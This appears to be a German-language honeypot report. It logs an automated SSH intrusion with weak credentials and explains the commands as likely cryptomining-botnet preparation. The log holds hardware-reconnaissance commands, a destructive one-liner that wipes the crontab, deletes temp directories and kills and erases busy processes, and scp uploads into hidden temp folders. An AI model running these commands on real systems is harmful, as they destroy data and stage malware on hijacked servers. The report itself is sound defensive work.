10.10.2026, 13:05 UTC · 25 Befehle · über ssh · Niederlande · 17× wiederholt
user='Ubuntu' pass='00000000000' Ubuntu@srv01:~$ uname -m | awk '{printf $1}' x86_64 Ubuntu@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 262 days, 04:12 Ubuntu@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v3/4th Gen Core Integrated Graphics Controller (rev 06) Ubuntu@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz Ubuntu@srv01:~$ curl ipinfo.io/org AS14618 Ubuntu@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found Ubuntu@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found Ubuntu@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 Ubuntu@srv01:~$ uname -n | awk '{printf $1}' staging Ubuntu@srv01:~$ uname -r | awk '{printf $1}' 5.4.0-150-generic Ubuntu@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found Ubuntu@srv01:~$ echo 00000000000 > /tmp/d.log Ubuntu@srv01:~$ scp -qt "/var/tmp/iCXoiVKR" Ubuntu@srv01:~$ scp -qt "/tmp/iCXoiVKR" Ubuntu@srv01:~$ scp -qt "/dev/shm/iCXoiVKR" Ubuntu@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 staging Ubuntu@srv01:~$ echo 1234 > /tmp/d.log Ubuntu@srv01:~$ scp -qt "/var/tmp/VRJpaCle" Ubuntu@srv01:~$ scp -qt "/tmp/VRJpaCle" Ubuntu@srv01:~$ scp -qt "/dev/shm/VRJpaCle" Ubuntu@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 staging Ubuntu@srv01:~$ echo Qwerty > /tmp/d.log Ubuntu@srv01:~$ scp -qt "/var/tmp/vtszkPQj" Ubuntu@srv01:~$ scp -qt "/tmp/vtszkPQj" Ubuntu@srv01:~$ scp -qt "/dev/shm/vtszkPQj"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an. Er führte eine Reihe von Systemabfragen durch, um Hardwarekomponenten wie Prozessoren und Grafikkarten zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU-Auslastung. Abschließend versuchte er, Dateien über SCP in verschiedene temporäre Verzeichnisse zu kopieren.
Die Befehle uname, uptime und lscpu sammeln Informationen über Kernel, Laufzeit und CPU-Modell. Die Abfragen lspci und nvidia-smi prüfen auf vorhandene Grafikkarten, wobei nvidia-smi hier fehlte. Der komplexe Befehl mit crontab und ps löscht alte Cronjobs, räumt Temp-Ordner auf und tötet Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent RAM nutzen. Die scp-Befehle versuchen, Dateien in versteckte Ordner wie /var/tmp/iCXoiVKR zu übertragen, was auf das Hochladen von Schadsoftware hindeutet.
Das Vorgehen deutet auf die Vorbereitung eines Kryptomining-Botnetzes hin. Die gezielte Abfrage von NVIDIA- und Radeon-Grafikkarten dient der Suche nach Rechenleistung für Mining. Das Löschen konkurrierender Prozesse und das Ablegen von Dateien in versteckten Verzeichnissen sind typische Schritte zur Installation von Malware.
Dieses Muster ist bei automatisierten Botnetzen sehr verbreitet, die nach schwachen SSH-Zugängen suchen. Die Kombination aus Hardware-Scanning und Prozessbereinigung ist ein Standardvorgehen für Mining-Malware.